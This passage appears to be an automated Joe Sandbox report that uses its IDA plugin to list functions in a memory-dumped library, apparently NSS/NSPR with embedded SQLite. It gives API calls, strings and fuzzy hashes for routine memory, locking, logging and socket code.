PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDE9
free.MOZGLUE(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BE21
free.MOZGLUE(00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BE32

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 026fb376a91c5b5160369d68bfa128343286d3c621d72ffb40874d9ddc3cac86
Instruction ID: f469e73ce12fcf6940ffc08df73f371a18a36031519a85572e2742c79f24e399
Opcode Fuzzy Hash: 026fb376a91c5b5160369d68bfa128343286d3c621d72ffb40874d9ddc3cac86
Instruction Fuzzy Hash: DE1116B5B052019FDB60DF2AC809A223BB6BB0A24DB4424B9E58A87701D7399414CFD2

Function 6C817C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C817C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817C83
malloc.MOZGLUE(00000001), ref: 6C817C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C817C9F
PR_GetCurrentThread.NSS3 ref: 6C817CAD

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: b62018073d0029e9442821989eb10377335aa50ab2c22a577a1044bbc618799b
Instruction ID: af4238cdeea41dcecf73d11d0d1d0b3df89830cc92456ad3813c64d98c3ffacb
Opcode Fuzzy Hash: b62018073d0029e9442821989eb10377335aa50ab2c22a577a1044bbc618799b
Instruction Fuzzy Hash: 63F0AFB1A142076BEB509F7A9E099477B98EF05269B018839E80DC3F00EB34E114CAE5

Function 6C81ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C81A6D8), ref: 6C81AE0D
free.MOZGLUE(?), ref: 6C81AE14
DeleteCriticalSection.KERNEL32(6C81A6D8), ref: 6C81AE36
free.MOZGLUE(?), ref: 6C81AE3D
free.MOZGLUE(00000000,00000000,?,?,6C81A6D8), ref: 6C81AE47

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 24dd25d7ec3332671265cf2718fc18a938553541a3064c27bfae125ef55b8152
Instruction ID: b5c751b0eb89d8096ec1b6ef18932caf382bfc4d7691b9dd71cf534d818966b2
Opcode Fuzzy Hash: 24dd25d7ec3332671265cf2718fc18a938553541a3064c27bfae125ef55b8152
Instruction Fuzzy Hash: B3F0F6B9601A02A7CA219F68D8089577BB8BF8A778B100338F12A83941D775E015CFD1

Function 6C6A7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A7D35

Strings

database corruption, xrefs: 6C6A7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A7D13, 6C6A7D1F, 6C6A7D47, 6C6A7D53, 6C6A7D5F
%s at line %d of [%.10s], xrefs: 6C6A7D2E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a1d30d9cc792bb0af1f21816b6ad6d505ed647540ce48dd04f10b953f1380fce
Instruction ID: 126519af548bbbe1cd354441175ccc61fa0aea9f06e3c9030062434c978d00ff
Opcode Fuzzy Hash: a1d30d9cc792bb0af1f21816b6ad6d505ed647540ce48dd04f10b953f1380fce
Instruction Fuzzy Hash: 6A311471E042299BC710CFDDC880DBAB7F1EF84709B594596E448B7B8AD270DC42C7A8

Function 6C696C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C696D36

Strings

database corruption, xrefs: 6C696D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C696D20
%s at line %d of [%.10s], xrefs: 6C696D2F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fbf1f7f2ccfdc05922cde785e4760a9503b079a7e60315d1951ad91c5b83d2a2
Instruction ID: 3cc0797cf18f19c7f01b0ef6179f22abbc2394e160a51d4ee27c172615045c54
Opcode Fuzzy Hash: fbf1f7f2ccfdc05922cde785e4760a9503b079a7e60315d1951ad91c5b83d2a2
Instruction Fuzzy Hash: 562124706003069BC710CF19C941B9AB7F1AF81308F14892DD8599BFA1E370F949C7EA

Function 6C772FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+wl,6C7732C2,<+wl,00000000,00000000,?), ref: 6C772FDA

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C77300B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C77302A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

Part of subcall function 6C74C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C74C45D
Part of subcall function 6C74C3D0: TlsGetValue.KERNEL32 ref: 6C74C494
Part of subcall function 6C74C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C74C4A9
Part of subcall function 6C74C3D0: PR_Unlock.NSS3(?), ref: 6C74C4F4

Strings

<+wl, xrefs: 6C772FD0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+wl
API String ID: 2538134263-2346447686
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 44ae7621f7e6fa7872c35736310ed8cf14557e7e6f012f96a142b0fc750dc1a2
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 3911C4B6B001086BDF008E65AD09A9B779AAB8436CF184134EC1CD7B81E772E915C7A1

Function 6C7CCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7CCC7B), ref: 6C7CCD7A
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCD8E
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCDA5
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7CCCB5
memcpy.VCRUNTIME140(6C8614F4,6C8602AC,00000090), ref: 6C7CCCD3
memcpy.VCRUNTIME140(6C861588,6C8602AC,00000090), ref: 6C7CCD2B

Part of subcall function 6C6E9AC0: socket.WSOCK32(?,00000017,6C6E99BE), ref: 6C6E9AE6
Part of subcall function 6C6E9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6E99BE), ref: 6C6E9AFC

Part of subcall function 6C6F0590: closesocket.WSOCK32(6C6E9A8F,?,?,6C6E9A8F,00000000), ref: 6C6F0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7CCCB0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 5650152da402876eae7f5472696ef4673cbc9a0280232d917dd106263a5b8279
Instruction ID: 3e64f82219cab482a5ed2d65609f48e4785093b14052f78e066fe3f5cf9af66e
Opcode Fuzzy Hash: 5650152da402876eae7f5472696ef4673cbc9a0280232d917dd106263a5b8279
Instruction Fuzzy Hash: F9116DF1B082415EDB309B5B9A0B762BAE8974731CF542839E416CBF42E775C408DBDA

Function 6C731CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C731CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C731CF1

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

Strings

pInitArgs = 0x%p, xrefs: 6C731CEC
C_Initialize, xrefs: 6C731CD3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: bb4c86408cc4c19151437d9c69669ad8b65a255210bbcadadb53b26840ede6bf
Instruction ID: 05269961eeb17e03bf7bc408a976a90dc5f955d8e8262b5714f0bec3d1d0ecca
Opcode Fuzzy Hash: bb4c86408cc4c19151437d9c69669ad8b65a255210bbcadadb53b26840ede6bf
Instruction Fuzzy Hash: 4501D234206160DFDB219B66DE0DB6533B5ABC335EF046474E40C86A12DB38E849C7D6

Function 6C697F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6981DF
LeaveCriticalSection.KERNEL32(?), ref: 6C698239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C698255
sqlite3_free.NSS3(00000000), ref: 6C698260

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 7844141e1822b0c0aa184a5b0faabb2dba0a1def3d3c733c44448ee663c8cb98
Instruction ID: 52801eba277630571999b41445b134145e2ae05c57bb3c603e5114a78c74c533
Opcode Fuzzy Hash: 7844141e1822b0c0aa184a5b0faabb2dba0a1def3d3c733c44448ee663c8cb98
Instruction Fuzzy Hash: F091BD31A0520ACBEF14CFE1D9487EDB7B1BF4A308F24013AD4069BA61D7399945CBC6

Function 6C771D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C771D8F

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C771DA6

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C771E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C771ED0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: a933f0f40cc8fe090bdb0f3d76e191fc95a1409dce884556a03bad0d3e853679
Instruction ID: dd20e39bd8d5c8d125ce18666e73efbdd844b9df9b91400135df59e343e04d65
Opcode Fuzzy Hash: a933f0f40cc8fe090bdb0f3d76e191fc95a1409dce884556a03bad0d3e853679
Instruction Fuzzy Hash: 01515871A003098FDF20CF98C998BAEB7BABF45309F144129E81D9B651D771E945CBA0

Function 6C7C4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C6A85D2,00000000,?,?), ref: 6C7C4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C50D6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 42f15d7c7686216556f3729564d30c02a81a1aba94bc86faee81d36a1c076b9f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: D3416FB2A402168FCB18CF28DCD179AB7E1BF4531871D4669D84ACBB02E775E891CB81

Function 6C6EFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C6EFDFE), ref: 6C6EFFAD

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C6EFDFE), ref: 6C6EFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C6EFDFE), ref: 6C6F001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C6EFDFE), ref: 6C6F006F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: f64f123c2c482f569ac39e6389f604d19872b8e1b6e58f7a67ecf3e39904c223
Instruction ID: cf831450db55793b378b6d49b9aa082c2ae8694fb23b9afed82c4fd5d444dcd7
Opcode Fuzzy Hash: f64f123c2c482f569ac39e6389f604d19872b8e1b6e58f7a67ecf3e39904c223
Instruction Fuzzy Hash: 0841E071B002159BDF18DFA5DC85ABE7776FB8A318F040039D81693B01DB79A902CBD6

Function 6C7D7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C7D7ED8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: ca953dca079135f844295b47b1094b7cf72aa420bc4cf61b632c7113d3f27a6a
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 0831A4B1A001128FDB04CF09C99099ABBE6BF88318B1B8579C8585BB15EB71EC45CBD1

Function 6C78DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
